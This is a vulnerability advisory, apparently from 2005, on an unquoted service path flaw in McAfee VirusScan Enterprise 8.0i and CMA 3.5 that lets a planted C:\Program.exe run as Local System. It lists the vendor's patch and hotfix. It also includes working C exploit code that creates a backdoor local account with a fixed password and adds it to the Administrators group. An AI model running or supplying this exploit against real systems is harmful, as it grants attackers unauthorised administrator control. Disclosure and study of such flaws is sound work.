( Original article: https://reedarvin.thearvins.com/20051222-01.html )

Summary:
Privilege escalation in McAfee VirusScan Enterprise 8.0i (patch 11)
and CMA  3.5 (patch 5) (https://www.mcafee.com/)

Details:
By default the naPrdMgr.exe process runs under the context of the
Local System account. Every so often it will run through a process
where it does the following:

- Attempts to run \Program Files\Network Associates\VirusScan\EntVUtil.EXE
- Reads C:\Program Files\Common Files\Network Associates\Engine\SCAN.DAT
- Reads C:\Program Files\Common Files\Network Associates\Engine\NAMES.DAT
- Reads C:\Program Files\Common Files\Network Associates\Engine\CLEAN.DAT

The issue occurs when the naPrdMgr.exe process attempts to run the
C:\Program Files\Network Associates\VirusScan\EntVUtil.EXE file.
Because of a lack of quotes the  naPrdMgr.exe process first tries to
run C:\Program.exe. If that is not found it tries to run C:\Program
Files\Network.exe. When that is not found it finally runs the
EntVUtil.EXE file that it was originally intending to run. A malicious
user can create an application named  Program.exe and place it on the
root of the C:\ and it will be run with Local System privileges by the
naPrdMgr.exe process. Source code for an example Program.exe is listed
below.

Vulnerable Versions:
McAfee VirusScan Enterprise  8.0i (patch 11) and CMA 3.5 (patch 5)

Patches/Workarounds:
The vendor has released knowledge base article kb45256 to address the issue.

Solution one from the vendor:
"This issue is resolved in Patch 12."

Solution two from the vendor:
"The VirusScan Enterprise plugin VSPLUGIN.DLL has been updated to
resolve the potential exploit. The new plugin is available as a HotFix
from McAfee Tier III Technical Support."

Exploits:

// ===== Start Program.c ======
#include <windows.h>
#include <stdio.h>

INT main( VOID )
{
    CHAR  szWinDir[ _MAX_PATH ];
    CHAR szCmdLine[ _MAX_PATH ];

     GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

    printf( "Creating user \"Program\" with password \"Pr0gr@m$$\"...\n" );

    wsprintf( szCmdLine, "%s\\system32\\net.exe user Program 
Pr0gr@m$$ /add", szWinDir );

    system( szCmdLine );

    printf( "Adding user \"Program\" to the local Administrators group...\n" );

    wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup
Administrators Program /add", szWinDir );

    system( szCmdLine );

    return 0;
}
// ===== End Program.c ======

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(https://reedarvin.thearvins.com/ )